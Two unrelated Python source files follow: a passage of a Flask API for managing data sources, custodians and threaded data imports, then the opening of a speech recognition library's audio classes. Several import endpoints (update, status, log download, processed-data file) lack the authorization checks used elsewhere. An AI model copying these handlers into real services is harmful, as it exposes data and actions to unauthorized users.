"""SELECT source.id, source.description, data_import_status.code AS status, source.time_created FROM source LEFT JOIN (SELECT source_id, max(data_import.id) AS data_import_id FROM data_import GROUP BY source_id) AS latest_import ON latest_import.source_id = source.id LEFT JOIN data_import ON latest_import.data_import_id = data_import.id LEFT JOIN data_import_status ON data_import_status.id = data_import.status_id WHERE ( EXISTS (SELECT 1 FROM user_role WHERE user_id = :user_id AND role_id = 1) OR ( EXISTS (SELECT 1 FROM user_role WHERE user_id = :user_id AND role_id = 2) AND source.id IN (SELECT source_id FROM user_source WHERE user_id = :user_id) ) OR ( EXISTS (SELECT 1 FROM user_role WHERE user_id = :user_id AND role_id = 3) AND source.monitoring_program_id IN (SELECT monitoring_program_id FROM user_program_manager WHERE user_id = :user_id) ) ) """, { 'user_id': user.id }) return jsonify_rows(rows) def jsonify_rows(rows): return jsonify([dict(row) for row in rows]) @bp.route('/data_sources', methods = ['POST']) def create_source(): return create_or_update_source() @bp.route('/data_sources/<int:source_id>', methods = ['PUT']) def update_source(source_id = None): if source_id == None: return "Not found", 404 return create_or_update_source(source_id) @bp.route('/data_sources/<int:source_id>', methods = ['GET']) def get_source(source_id=None): user = get_user() if not permitted(user, 'get', 'source', source_id): return "Not authorized", 401 source = db_session.query(Source).get(source_id) if source_id else None if source == None: return "Not found", 404 result = source_to_json(source) result['can_delete'] = permitted(user, 'delete', 'source', source_id) result['can_import_data'] = permitted(user, 'import_data', 'source', source_id) result['can_manage_custodians'] = permitted(user, 'manage_custodians', 'source', source_id) return jsonify(result), 200 @bp.route('/data_sources/<int:source_id>', methods = ['DELETE']) def delete_source(source_id=None): user = get_user() if not permitted(user, 'delete', 'source', source_id): return "Not authorized", 401 db_session.execute("""DELETE FROM user_source WHERE source_id = :source_id""", { 'source_id': source_id }) db_session.execute("""DELETE FROM data_import WHERE source_id = :source_id""", { 'source_id': source_id }) db_session.execute("""DELETE FROM source WHERE id = :source_id""", { 'source_id': source_id }) remove_orphaned_monitoring_programs() db_session.commit() return "OK", 200 @bp.route('/data_sources/<int:source_id>/imports', methods = ['GET']) def get_source_imports(source_id=None): user = get_user() if not permitted(user, 'get', 'source', source_id): return "Not authorized", 401 source = db_session.query(Source).get(source_id) if source_id else None if source == None: return "Not found", 404 db_session.execute("SET time_zone = '+00:00'") rows = db_session.execute("""SELECT data_import.id, data_import.filename, data_import.data_type, data_import_status.code AS status, data_import.time_created, data_import.upload_uuid FROM data_import LEFT JOIN data_import_status ON data_import_status.id = data_import.status_id WHERE data_import.source_id = :source_id """, { 'source_id': source_id }) return jsonify_rows(rows) # --------- Data processing notes @bp.route('/data_sources/<int:source_id>/notes', methods = ['GET']) def get_source_processing_notes(source_id=None): user = get_user() if not permitted(user, 'get', 'source', source_id): return "Not authorized", 401 source = db_session.query(Source).get(source_id) if source_id else None if source == None: return "Not found", 404 db_session.execute("SET time_zone = '+00:00'") rows = db_session.execute("""SELECT notes.id, user.first_name, user.last_name, user.email, notes.source_id, notes.time_created, notes.notes, user.id = :user_id AS editable FROM data_processing_notes notes JOIN user ON notes.user_id = user.id WHERE notes.source_id = :source_id """, { 'source_id': source_id, 'user_id': user.id }) return jsonify_rows(rows) @bp.route('/data_sources/<int:source_id>/notes', methods = ['POST']) def create_source_processing_notes(source_id=None): user = get_user() if not permitted(user, 'update', 'source', source_id): return "Not authorized", 401 body = request.json # TODO: validate json notes = DataProcessingNotes() notes.notes = body['notes'] notes.user_id = user.id notes.source_id = source_id db_session.add(notes) db_session.commit() return "OK", 201 @bp.route('/data_sources/<int:source_id>/notes/<int:note_id>', methods = ['PUT']) def update_source_processing_notes(source_id=None, note_id=None): user = get_user() if not permitted(user, 'update', 'source', source_id): return "Not authorized", 401 notes = db_session.query(DataProcessingNotes).get(note_id) if notes.source_id != source_id: return "Source id doesn't match", 400 body = request.json # TODO: validate json notes.notes = body['notes'] db_session.add(notes) db_session.commit() return "OK", 201 @bp.route('/data_sources/<int:source_id>/notes/<int:note_id>', methods = ['DELETE']) def delete_source_processing_notes(source_id=None, note_id=None): user = get_user() if not permitted(user, 'delete', 'source', source_id): return "Not authorized", 401 notes = db_session.query(DataProcessingNotes).get(note_id) if notes.source_id != source_id: return "Source id doesn't match", 400 db_session.delete(notes) db_session.commit() return "OK", 200 # --------- Custodians @bp.route('/data_sources/<int:source_id>/custodians', methods = ['GET']) def get_source_custodians(source_id=None): user = get_user() if not permitted(user, 'manage_custodians', 'source', source_id): return "Not authorized", 401 source = db_session.query(Source).get(source_id) if source_id else None if source == None: return "Not found", 404 rows = db_session.execute("""SELECT user.first_name, user.last_name, user.email, user.id FROM user_source JOIN user ON user_source.user_id = user.id WHERE user_source.source_id = :source_id """, { 'source_id': source_id }) return jsonify_rows(rows) auto_create_custodians = True @bp.route('/data_sources/<int:source_id>/custodians', methods = ['POST']) def create_source_custodian(source_id=None): user = get_user() if not permitted(user, 'manage_custodians', 'source', source_id): return "Not authorized", 401 body = request.json email = body["email"] if not re.match(email_regex, email): return jsonify({ 'error' : '"%s" is not a valid email address' % email }), 400 custodian = db_session.query(User).filter(User.email == email).one_or_none() if not custodian: if auto_create_custodians: custodian = User(email=email) db_session.add(custodian) db_session.flush() else: error_message = 'No user found with the email address "%s". (Note: custodians must first create an account before they can be added)' % email return jsonify({ 'error': error_message }), 400 rows = db_session.execute("""SELECT 1 FROM user_source WHERE user_id = :user_id AND source_id = :source_id """, { 'source_id': source_id, 'user_id': custodian.id }) if len(list(rows)) == 0: db_session.execute("""INSERT INTO user_source (user_id, source_id) VALUES (:user_id, :source_id)""", { 'source_id': source_id, 'user_id': custodian.id }) db_session.commit() return "OK", 201 @bp.route('/data_sources/<int:source_id>/custodians/<int:user_id>', methods = ['DELETE']) def delete_source_custodian(source_id=None, user_id=None): user = get_user() if not permitted(user, 'manage_custodians', 'source', source_id): return "Not authorized", 401 db_session.execute("""DELETE FROM user_source WHERE user_id = :user_id AND source_id = :source_id""", { 'source_id': source_id, 'user_id': user_id }) db_session.commit() return "OK", 200 #------ def create_or_update_source(source_id=None): action = 'update' if source_id else 'create' user = get_user() if not permitted(user, action, 'source', source_id): return "Not authorized", 401 if source_id: source = db_session.query(Source).get(source_id) else: source = Source() if not source: return "Not found", 400 body = request.json errors = validate_fields(source_fields, body) if len(errors): return jsonify(errors), 400 update_source_from_json(source, body) db_session.add(source) db_session.flush() if action == 'create': db_session.execute("""INSERT INTO user_source (user_id, source_id) VALUES (:user_id, :source_id)""", { 'source_id': source.id, 'user_id': user.id }) else: remove_orphaned_monitoring_programs() db_session.commit() return jsonify(source_to_json(source)), 200 if source_id else 201 def update_source_from_json(source, json): def clean(value): if type(value) == str: value = value.strip() return value for field in source_fields: if field.name == 'monitoring_program': source.monitoring_program_id = get_monitoring_program_id(json['monitoring_program']) else: setattr(source, field.name, clean(json.get(field.name))) def get_monitoring_program_id(description): if not description: return None for (program_id,) in db_session.execute("""SELECT id FROM monitoring_program WHERE description = :description""", { "description": description}): return program_id return db_session.execute(""" INSERT INTO monitoring_program (description) VALUES (:description)""", { "description": description}).lastrowid def source_to_json(source): (has_t1_data,) = db_session.execute("""SELECT EXISTS (SELECT 1 FROM t1_survey WHERE source_id = :source_id)""", {"source_id": source.id}).fetchone() json = { 'id': source.id, 'has_t1_data': has_t1_data } for field in source_fields: if field.name == 'monitoring_program' and source.monitoring_program: json['monitoring_program'] = source.monitoring_program.description else: json[field.name] = getattr(source, field.name) return json source_fields = [ Field(name='description', title='Dataset description', validators=[validate_required, validate_max_chars(4096)]), Field(name='provider', title='Dataset provider', validators=[validate_required, validate_max_chars(4096)]), Field(name='authors', title='Author(s)', validators=[validate_required, validate_max_chars(4096)]), Field(name='monitoring_program', title='Monitoring program', validators=[validate_max_chars(255)]), Field(name='contact_name', title='Full name', validators=[validate_required, validate_max_chars(255)]), Field(name='contact_institution', title='Institution', validators=[validate_required, validate_max_chars(255)]), Field(name='contact_position', title='Position', validators=[validate_required, validate_max_chars(255)]), Field(name='contact_email', title='Email address', validators=[validate_required, validate_email]), Field(name='contact_phone', title='Phone number', validators=[validate_max_chars(32)]) ] @bp.route('/imports', methods = ['POST']) def post_import(): user = get_user() body = request.json try: source_id = body['source_id'] except KeyError: return jsonify('source_id is required'), 400 if not permitted(user, 'update', 'source', source_id): return 'Not authorized', 401 # Check upload parameter if 'upload_uuid' not in body: return jsonify("upload_uuid is required"), 400 upload_uuid = body['upload_uuid'] file_path = get_upload_path(upload_uuid) if not os.path.exists(file_path): return jsonify("invalid upload_uuid"), 400 # Create new working directory for the import data_import = DataImport( source_id = source_id, status_id = 1, upload_uuid = body['upload_uuid'], filename = get_upload_name(upload_uuid), data_type = body.get('data_type'), user_id = user.id ) db_session.add(data_import) db_session.commit() import_id = data_import.id # working_path = os.path.join(imports_path, "%04d" % import_id) # working_path, import_id = next_path(os.path.join(imports_path, "%04d")) # os.makedirs(working_path) process_import_async(import_id, 'checking') # TODO - Ideally should return 201 Created and URL of new resource return jsonify(data_import_json(load_import(import_id))) status_ids = { code: status_id for status_id, code in db_session.execute("SELECT id, code FROM data_import_status").fetchall()} status_codes = {v: k for k, v in status_ids.items()} def process_import_async(import_id, status): info = load_import(import_id) user = get_user() file_path = get_upload_path(info.upload_uuid) working_path = import_path(import_id) os.makedirs(working_path, exist_ok=True) data_type = info.data_type with lock: running_imports[import_id] = { 'started': local_iso_datetime(), 'status': status, 'total_rows': 0, 'processed_rows': 0, 'is_admin': 'Administrator' in get_roles(user) } def result_callback(result): is_admin = running_imports[import_id]['is_admin'] with lock: del running_imports[import_id] success = result['errors'] == 0 if status == 'checking': new_status = 'checked_ok' if success else 'checked_error' elif status == 'importing': new_status = ('approved' if is_admin else 'imported') if success else 'import_error' info = load_import(import_id) info.status_id = status_ids[new_status] info.error_count = result['errors'] info.warning_count = result['warnings'] db_session.commit() def progress_callback(processed_rows, total_rows): with lock: running_imports[import_id]['total_rows'] = total_rows running_imports[import_id]['processed_rows'] = processed_rows try: # Start import process t = Thread(target = process_import, args = (file_path, working_path, data_type, status == 'importing', progress_callback, result_callback, info.source_id, import_id)) t.start() except: traceback.print_exc() result_callback({ 'warnings': 0, 'errors': 1 }) # This is called off the main thread # Ideally we would run this in a separate process, but Python 2 multiprocessing is broken/hard. Easy with Python 3 though. def process_import(file_path, working_path, data_type, commit, progress_callback, result_callback, source_id, data_import_id): try: # Create logger for this import log_file = os.path.join(working_path, 'import.log') log = logging.getLogger('%s_%s' % (working_path, time.time())) handler = logging.FileHandler(log_file, mode='w') handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')) handler.setLevel(logging.INFO) log.setLevel(logging.INFO) log.addHandler(handler) importer = Importer(file_path, commit = commit, data_type = data_type, logger = log, progress_callback = progress_callback, source_id = source_id, data_import_id = data_import_id) importer.ingest_data() result_callback({ 'warnings': importer.warning_count, 'errors': importer.error_count }) except: traceback.print_exc() result_callback({ 'warnings': 0, 'errors': 1 }) @bp.route('/imports/<int:import_id>', methods = ['PUT']) def update_import(import_id=None): body = request.json data_import = load_import(import_id) if not data_import: return "Not found", 404 new_status = body['status'] old_status = status_codes[data_import.status_id] # Make sure this is a valid state transition if (old_status, new_status) not in (('checked_ok', 'checking'), ('checked_ok', 'importing'), ('checked_error', 'checking'), ('import_error', 'checking')): return "Invalid status change %s -> %s" % (old_status, new_status), 400 if new_status == 'importing' and data_import.upload_uuid != body['upload_uuid']: return "Attempting to import unchecked upload", 400 data_import.upload_uuid = body['upload_uuid'] data_import.filename = get_upload_name(body['upload_uuid']) data_import.data_type = body.get('data_type', 1) db_session.commit() process_import_async(import_id, new_status) return jsonify(data_import_json(data_import)) def remove_orphaned_monitoring_programs(): db_session.execute("""DELETE FROM user_program_manager WHERE monitoring_program_id NOT IN (SELECT monitoring_program_id FROM source WHERE monitoring_program_id IS NOT NULL)""") db_session.execute("""DELETE FROM monitoring_program WHERE id NOT IN (SELECT monitoring_program_id FROM source WHERE monitoring_program_id IS NOT NULL)""") @bp.route('/imports/<int:import_id>/approve', methods = ['POST']) def approve_import(import_id=None): data_import = load_import(import_id) if not data_import: return "Not found", 404 old_status = status_codes[data_import.status_id] if old_status != 'imported': return "Cannot approve import with status '%s'" % old_status, 400 user = get_user() if not permitted(user, 'approve', 'import', import_id): return 'Not authorized', 401 db_session.execute("UPDATE data_import SET status_id = :status_id WHERE id = :import_id", { 'status_id': status_ids['approved'], 'import_id': import_id }) db_session.commit() data_import.status_id = status_ids['approved'] return jsonify(data_import_json(data_import)) def data_import_json(data_import): result = { 'id': data_import.id, 'filename': data_import.filename, 'data_type': data_import.data_type, 'time_created': data_import.time_created, 'upload_uuid': data_import.upload_uuid, 'status': status_codes[data_import.status_id] } with lock: if data_import.id in running_imports: result.update(running_imports[data_import.id]) return result @bp.route('/imports/<int:import_id>', methods = ['GET']) def get_import(import_id=None): data_import = load_import(import_id) if not data_import: return "Not found", 404 return jsonify(data_import_json(data_import)) @bp.route('/imports/<int:import_id>/log', methods = ['GET']) def get_import_log(import_id=None): return send_file(os.path.join(import_path(import_id), 'import.log'), mimetype = 'text/plain', cache_timeout = 5) def import_path(id): return os.path.join(imports_path, "%04d" % int(id)) def load_import(import_id): try: return db_session.query(DataImport).get(int(import_id)) except: return None # -- The following is now deprecated, and can be removed once the new on-demand processing model is fully tested def processed_data_dir(source_id, import_id): return os.path.join(data_dir("processed_data"), "source-%04d" % int(source_id), "import-%04d" % int(import_id)) processing_info = {} @bp.route('/data_sources/<int:source_id>/processed_data', methods = ['GET']) def get_processed_data(source_id=None): (import_id,) = db_session.execute("SELECT MAX(id) FROM data_import WHERE source_id = :source_id", { 'source_id': source_id }).fetchone() if import_id == None: return "Not found", 404 with lock: pinfo = processing_info.get(import_id) if pinfo is None: # Maybe processing has completed? path = processed_data_dir(source_id, import_id) if os.path.exists(path): items = [] agg_path = os.path.join(path, 'aggregated.csv') if os.path.exists(agg_path): items.append({ 'name': 'Aggregated time series (CSV format)', 'id': 'aggregated.csv' }) trend_path = os.path.join(path, 'trend.csv') if os.path.exists(trend_path): items.append({ 'name': 'Population trend (CSV format)', 'id': 'trend.csv' }) return jsonify({ 'processing_status': 'ready', 'items': items }) else: process_data(source_id, import_id) return({ 'processing_status': 'pending' }) else: return jsonify(pinfo) @bp.route('/data_sources/<int:source_id>/processed_data/<item_id>', methods = ['GET']) def get_processed_data_item(source_id=None, item_id=None): (import_id,) = db_session.execute("SELECT MAX(id) FROM data_import WHERE source_id = :source_id", { 'source_id': source_id }).fetchone() if import_id == None: return "Not found", 404 path = processed_data_dir(source_id, import_id) item_path = os.path.join(path, item_id) return send_file(item_path, mimetype = 'text/csv', cache_timeout = 5) work_q = Queue() def process_data(source_id, import_id): with lock: pinfo = processing_info.get(import_id) if pinfo is None: processing_info[import_id] = { 'processing_status': 'processing' } else: return work_q.put((source_id, import_id)) processing_workers_started = False def start_processing_workers(): return if processing_workers_started: return processing_manager_started = True for i in range(0, 4): t = Thread(target = process_worker) t.start() def process_worker(): while True: source_id, import_id = work_q.get() output_dir = processed_data_dir(source_id, import_id) if not os.path.exists(output_dir): subprocess.run(['python3', '-m', 'tsx.process', 'single_source', str(source_id), '-o', output_dir]) else: print("Already processed: %s" % import_id) with lock: del processing_info[import_id] def process_unprocessed(): for (source_id,import_id) in db_session.execute("SELECT source_id, max(id) FROM data_import WHERE source_id IS NOT NULL GROUP BY source_id"): process_data(source_id, import_id)
__init__.py
#!/usr/bin/env python3 """Library for performing speech recognition, with support for several engines and APIs, online and offline.""" import io import os import sys import subprocess import wave import aifc import math import audioop import collections import json import base64 import threading import platform import stat import hashlib import hmac import time import uuid __author__ = "Anthony Zhang (Uberi)" __version__ = "3.7.1" __license__ = "BSD" try: # attempt to use the Python 2 modules from urllib import urlencode from urllib2 import Request, urlopen, URLError, HTTPError except ImportError: # use the Python 3 modules from urllib.parse import urlencode from urllib.request import Request, urlopen from urllib.error import URLError, HTTPError class WaitTimeoutError(Exception): pass class RequestError(Exception): pass class UnknownValueError(Exception): pass class AudioSource(object): def __init__(self): raise NotImplementedError("this is an abstract class") def __enter__(self): raise NotImplementedError("this is an abstract class") def __exit__(self, exc_type, exc_value, traceback): raise NotImplementedError("this is an abstract class") class Microphone(AudioSource): """ Creates a new ``Microphone`` instance, which represents a physical microphone on the computer. Subclass of ``AudioSource``. This will throw an ``AttributeError`` if you don't have PyAudio 0.2.11 or later installed. If ``device_index`` is unspecified or ``None``, the default microphone is used as the audio source. Otherwise, ``device_index`` should be the index of the device to use for audio input. A device index is an integer between 0 and ``pyaudio.get_device_count() - 1`` (assume we have used ``import pyaudio`` beforehand) inclusive. It represents an audio device such as a microphone or speaker. See the `PyAudio documentation <http://people.csail.mit.edu/hubert/pyaudio/docs/>`__ for more details. The microphone audio is recorded in chunks of ``chunk_size`` samples, at a rate of ``sample_rate`` samples per second (Hertz). If not specified, the value of ``sample_rate`` is determined automatically from the system's microphone settings. Higher ``sample_rate`` values result in better audio quality, but also more bandwidth (and therefore, slower recognition). Additionally, some CPUs, such as those in older Raspberry Pi models, can't keep up if this value is too high. Higher ``chunk_size`` values help avoid triggering on rapidly changing ambient noise, but also makes detection less sensitive. This value, generally, should be left at its default. """ def __init__(self, device_index=None, sample_rate=None, chunk_size=1024): assert device_index is None or isinstance(device_index, int), "Device index must be None or an integer" assert sample_rate is None or (isinstance(sample_rate, int) and sample_rate > 0), "Sample rate must be None or a positive integer" assert isinstance(chunk_size, int) and chunk_size > 0, "Chunk size must be a positive integer" # set up PyAudio self.pyaudio_module = self.get_pyaudio() audio = self.pyaudio_module.PyAudio() try: count = audio.get_device_count() # obtain device count if device_index is not None: # ensure device index is in range assert 0 <= device_index < count, "Device index out of range ({} devices available; device index should be between 0 and {} inclusive)".format(count, count - 1) if sample_rate is None: # automatically set the sample rate to the hardware's default sample rate if not specified device_info = audio.get_device_info_by_index(device_index) if device_index is not None else audio.get_default_input_device_info() assert isinstance(device_info.get("defaultSampleRate"), (float, int)) and device_info["defaultSampleRate"] > 0, "Invalid device info returned from PyAudio: {}".format(device_info) sample_rate = int(device_info["defaultSampleRate"]) except: audio.terminate() raise self.device_index = device_index self.format = self.pyaudio_module.paInt16 # 16-bit int sampling self.SAMPLE_WIDTH = self.pyaudio_module.get_sample_size(self.format) # size of each sample self.SAMPLE_RATE = sample_rate # sampling rate in Hertz self.CHUNK = chunk_size # number of frames stored in each buffer self.audio = None self.stream = None @staticmethod def get_pyaudio(): """ Imports the pyaudio module and checks its version. Throws exceptions if pyaudio can't be found or a wrong version is installed """ try: import pyaudio except ImportError: raise AttributeError("Could not find PyAudio; check installation") from distutils.version import LooseVersion if LooseVersion(pyaudio.__version__) < LooseVersion("0.2.11"): raise AttributeError("PyAudio 0.2.11 or later is required (found version {})".format(pyaudio.__version__)) return pyaudio @staticmethod def list_microphone_names(): """ Returns a list of the names of all available microphones. For microphones where the name can't be retrieved, the list entry contains ``None`` instead. The index of each microphone's name is the same as its device index when creating a ``Microphone`` instance - indices in this list can be used as values of ``device_index``. """ audio = Microphone.get_pyaudio().PyAudio() try: result = [] for i in range(audio.get_device_count()): device_info = audio.get_device_info_by_index(i) result.append(device_info.get("name")) finally: audio.terminate() return result def __enter__(self): assert self.stream is None, "This audio source is already inside a context manager" self.audio = self.pyaudio_module.PyAudio() try: self.stream = Microphone.MicrophoneStream( self.audio.open( input_device_index=self.device_index, channels=1, format=self.format, rate=self.SAMPLE_RATE, frames_per_buffer=self.CHUNK, input=True, # stream is an input stream ) ) except: self.audio.terminate() raise return self def __exit__(self, exc_type, exc_value, traceback): try: self.stream.close() finally: self.stream = None self.audio.terminate() class MicrophoneStream(object): def __init__(self, pyaudio_stream): self.pyaudio_stream = pyaudio_stream def read(self, size): return self.pyaudio_stream.read(size, exception_on_overflow=False) def close(self): try: # sometimes, if the stream isn't stopped, closing the stream throws an exception if not self.pyaudio_stream.is_stopped(): self.pyaudio_stream.stop_stream() finally: self.pyaudio_stream.close() class AudioFile(AudioSource): """ Creates a new ``AudioFile`` instance given a WAV/AIFF/FLAC audio file ``filename_or_fileobject``. Subclass of ``AudioSource``. If ``filename_or_fileobject`` is a string, then it is interpreted as a path to an audio file on the filesystem. Otherwise, ``filename_or_fileobject`` should be a file-like object such as ``io.BytesIO`` or similar. Note that functions that read from the audio (such as ``recognizer_instance.record`` or ``recognizer_instance.listen``) will move ahead in the stream. For example, if you execute ``recognizer_instance.record(audiofile_instance, duration=10)`` twice, the first time it will return the first 10 seconds of audio, and the second time it will return the 10 seconds of audio right after that. This is always reset to the beginning when entering an ``AudioFile`` context. WAV files must be in PCM/LPCM format; WAVE_FORMAT_EXTENSIBLE and compressed WAV are not supported and may result in undefined behaviour. Both AIFF and AIFF-C (compressed AIFF) formats are supported. FLAC files must be in native FLAC format; OGG-FLAC is not supported and may result in undefined behaviour. """ def __init__(self, filename_or_fileobject): assert isinstance(filename_or_fileobject, (type(""), type(u""))) or hasattr(filename_or_fileobject, "read"), "Given audio file must be a filename string or a file-like object" self.filename_or_fileobject = filename_or_fileobject self.stream = None self.DURATION = None self.audio_reader = None self.little_endian = False self.SAMPLE_RATE = None self.CHUNK = None self.FRAME_COUNT = None def __enter__(self): assert self.stream is None, "This audio source is already inside a context manager" try: # attempt to read the file as WAV self.audio_reader = wave.open(self.filename_or_fileobject, "rb") self.little_endian = True # RIFF WAV is a little-endian format (most ``audioop`` operations assume that the frames are stored in little-endian form) except (wave.Error, EOFError): try: # attempt to read the file as AIFF self.audio_reader = aifc.open(self.filename_or_fileobject, "rb") self.little_endian = False # AIFF is a big-endian format except (aifc.Error, EOFError): # attempt to read the file as FLAC if hasattr(self.filename_or_fileobject, "read"): flac_data = self.filename_or_fileobject.read() else: with open(self.filename_or_fileobject, "rb") as f: flac_data = f.read() # run the FLAC converter with the FLAC data to get the AIFF data flac_converter = get_flac_converter() if os.name == "nt": # on Windows, specify that the process is to be started without showing a console window startup_info = subprocess.STARTUPINFO() startup_info.dwFlags |= subprocess.STARTF_USESHOWWINDOW # specify that the wShowWindow field of `startup_info` contains a value startup_info.wShowWindow = subprocess.SW_HIDE # specify that the console window should be hidden else: startup_info = None # default startupinfo process = subprocess.Popen([ flac_converter, "--stdout", "--totally-silent", # put the resulting AIFF file in stdout, and make sure it's not mixed with any program output "--decode", "--force-aiff-format", # decode the FLAC file into an AIFF file "-", # the input FLAC file contents will be given in stdin ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, startupinfo=startup_info) aiff_data, _ = process.communicate(flac_data) aiff_file = io.BytesIO(aiff_data) try: self.audio_reader = aifc.open(aiff_file, "rb") except (aifc.Error, EOFError): raise ValueError("Audio file could not be read as PCM WAV, AIFF/AIFF-C, or Native FLAC; check if file is corrupted or in another format") self.little_endian = False # AIFF is a big-endian format assert 1 <= self.audio_reader.getnchannels() <= 2, "Audio must be mono or stereo" self.SAMPLE_WIDTH = self.audio_reader.getsampwidth() # 24-bit audio needs some special handling for old Python versions (workaround for https://bugs.python.org/issue12866) samples_24_bit_pretending_to_be_32_bit = False if self.SAMPLE_WIDTH == 3: # 24-bit audio try: audioop.bias(b"", self.SAMPLE_WIDTH, 0) # test whether this sample width is supported (for example, ``audioop`` in Python 3.3 and below don't support sample width 3, while Python 3.4+ do) except audioop.error: # this version of audioop doesn't support 24-bit audio (probably Python 3.3 or less) samples_24_bit_pretending_to_be_32_bit = True # while the ``AudioFile`` instance will outwardly appear to be 32-bit, it will actually internally be 24-bit self.SAMPLE_WIDTH = 4 # the ``AudioFile`` instance should present itself as a 32-bit stream now, since we'll be converting into 32-bit on the fly when reading self.SAMPLE_RATE = self.audio_reader.getframerate() self.CHUNK = 4096 self.FRAME_COUNT = self.audio_reader.getnframes() self.DURATION = self.FRAME_COUNT / float(self.SAMPLE_RATE) self.stream = AudioFile.AudioFileStream(self.audio_reader, self.little_endian, samples_24_bit_pretending_to_be_32_bit) return self def __exit__(self, exc_type, exc_value, traceback): if not hasattr(self.filename_or_fileobject, "read"): # only close the file if it was opened by this class in the first place (if the file was originally given as a path) self.audio_reader.close() self.stream = None self.DURATION = None class AudioFileStream(object): def __init__(self, audio_reader, little_endian, samples_24_bit_pretending_to_be_32_bit): self.audio_reader = audio_reader # an audio file object (e.g., a `wave.Wave_read` instance) self.little_endian = little_endian # whether the audio data is little-endian (when working with big-endian things, we'll have to convert it to little-endian before we process it) self.samples_24_bit_pretending_to_be_32_bit = samples_24_bit_pretending_to_be_32_bit # this is true if the audio is 24-bit audio, but 24-bit audio isn't supported, so we have to pretend that this is 32-bit audio and convert it on the fly def read(self, size=-1): buffer = self.audio_reader.readframes(self.audio_reader.getnframes() if size == -1 else size) if not isinstance(buffer, bytes): buffer = b"" # workaround for https://bugs.python.org/issue24608 sample_width = self.audio_reader.getsampwidth() if not self.little_endian: # big endian format, convert to little endian on the fly if hasattr(audioop, "byteswap"): # ``audioop.byteswap`` was only added in Python 3.4 (incidentally, that also means that we don't need to worry about 24-bit audio being unsupported, since Python 3.4+ always has that functionality) buffer = audioop.byteswap(buffer, sample_width) else: # manually reverse the bytes of each sample, which is slower but works well enough as a fallback buffer = buffer[sample_width - 1::-1] + b"".join(buffer[i + sample_width:i:-1] for i in range(sample_width - 1, len(buffer), sample_width)) # workaround for https://bugs.python.org/issue12866 if self.samples_24_bit_pretending_to_be_32_bit: # we need to convert samples from 24-bit to 32-bit before we can process them with ``audioop`` functions buffer = b"".join(b"\x00" + buffer[i:i + sample_width] for i in range(0, len(buffer), sample_width)) # since we're in little endian, we prepend a zero byte to each 24-bit sample to get a 32-bit sample sample_width = 4 # make sure we thread the buffer as 32-bit audio now, after converting it from 24-bit audio if self.audio_reader.getnchannels() != 1: # stereo audio buffer = audioop.tomono(buffer, sample_width, 1, 1) # convert stereo audio data to mono return buffer class AudioData(object): """ Creates a new ``AudioData`` instance, which represents mono audio data. The raw audio data is specified by ``frame_data``, which is a sequence of bytes representing audio samples. This is the frame data structure used by the PCM WAV format. The width of each sample, in bytes, is specified by ``sample_width``. Each group of ``sample_width`` bytes represents a single audio sample. The audio data is assumed to have a sample rate of ``sample_rate`` samples per second (Hertz). Usually, instances of this class are obtained from ``recognizer_instance.record`` or ``recognizer_instance.listen``, or in the callback for ``recognizer_instance.listen_in_background``, rather than instantiating them directly. """ def __init__(self, frame_data, sample_rate, sample_width): assert sample_rate > 0, "Sample rate must be a positive integer" assert sample_width % 1 == 0 and 1 <= sample_width <= 4, "Sample width must be between 1 and 4 inclusive" self.frame_data = frame_data self.sample_rate = sample_rate self.sample_width = int(sample_width) def get_raw_data(self, convert_rate=None, convert_width=None): """ Returns a byte string representing the raw frame data for the audio represented by the ``AudioData`` instance. If ``convert_rate`` is specified and the audio sample rate is not ``convert_rate`` Hz, the resulting audio is resampled to match. If ``convert_width`` is specified and the audio samples are not ``convert_width`` bytes each, the resulting audio is converted to match. Writing these bytes directly to a file results in a valid `RAW/PCM audio file <https://en.wikipedia.org/wiki/Raw_audio_format>`__. """ assert convert_rate is None or convert_rate > 0, "Sample rate to convert to must be a positive integer" assert convert_width is None or (convert_width % 1 == 0 and 1 <= convert_width <= 4), "Sample width to convert to must be between 1 and 4 inclusive" raw_data = self.frame_data # make sure unsigned 8-bit audio (which uses unsigned samples) is handled like higher sample width audio (which uses signed samples) if self.sample_width == 1: raw_data = audioop.bias(raw_data, 1, -128) # subtract 128 from every sample to make them act like signed samples # resample audio at the desired rate if specified if convert_rate is not None and self.sample_rate != convert_rate: raw_data, _ = audioop.ratecv(raw_data, self.sample_width, 1, self.sample_rate, convert_rate, None) # convert samples to desired sample width if specified if convert_width is not None and self.sample_width != convert_width: if convert_width == 3: # we're converting the audio into 24-bit (workaround for https://bugs.python.org/issue12866) raw_data = audioop.lin2lin(raw_data, self.sample_width, 4) # convert audio into 32-bit first, which is always supported try: audioop.bias(b"", 3, 0) # test whether 24-bit audio is supported (for example, ``audioop`` in Python 3.3 and below don't support sample width 3, while Python 3.4+ do) except audioop.error: # this version of audioop doesn't support 24-bit audio (probably Python 3.3 or less) raw_data = b"".join(raw_data[i + 1:i + 4] for i in range(0, len(raw_data), 4)) # since we're in little endian, we discard the first byte from each 32-bit sample to get a 24-bit sample else: # 24-bit audio fully supported, we don't need to shim anything raw_data = audioop.lin2lin(raw_data, self.sample_width, convert_width) else: raw_data = audioop.lin2lin(raw_data, self.sample_width, convert_width) # if the output is 8-bit audio with unsigned samples, convert the samples we've been treating as signed to unsigned again if convert_width == 1: raw_data = audioop.bias(raw_data, 1, 128) # add 128 to every sample to make them act like unsigned samples again return raw_data def get_wav_data(self, convert_rate=None, convert_width=None): """ Returns a byte string representing the contents of a WAV file containing the audio represented by the ``AudioData`` instance. If ``convert_width`` is specified and the audio samples are not ``convert_width`` bytes each, the resulting audio is converted to match. If ``convert_rate`` is specified and the audio sample rate is not ``convert_rate`` Hz, the resulting audio is resampled to match. Writing these bytes directly to a file results in a valid `WAV file <https://en.wikipedia.org/wiki/WAV>`__. """ raw_data = self.get_raw_data(convert_rate, convert_width) sample_rate = self.sample_rate if convert_rate is None else convert_rate sample_width = self.sample_width if convert_width is None else convert_width # generate the WAV file contents with io.BytesIO() as wav_file: wav_writer = wave.open(wav_file, "wb") try: # note that we can't use context manager, since that was only added in Python 3.4 wav_writer.setframerate(sample_rate) wav_writer.setsampwidth(sample_width) wav_writer.setnchannels(1) wav_writer.writeframes(raw_data) wav_data = wav_file.getvalue() finally: # make sure resources are cleaned up wav_writer.close() return wav_data def get_aiff_data(self, convert_rate=None, convert_width=None): """ Returns a byte string representing the contents of an AIFF-C file containing the audio represented by the ``AudioData`` instance. If ``convert_width`` is specified and the audio samples are not ``convert_width`` bytes each, the resulting audio is converted to match. If ``convert_rate`` is specified and the audio sample rate is not ``convert_rate`` Hz, the 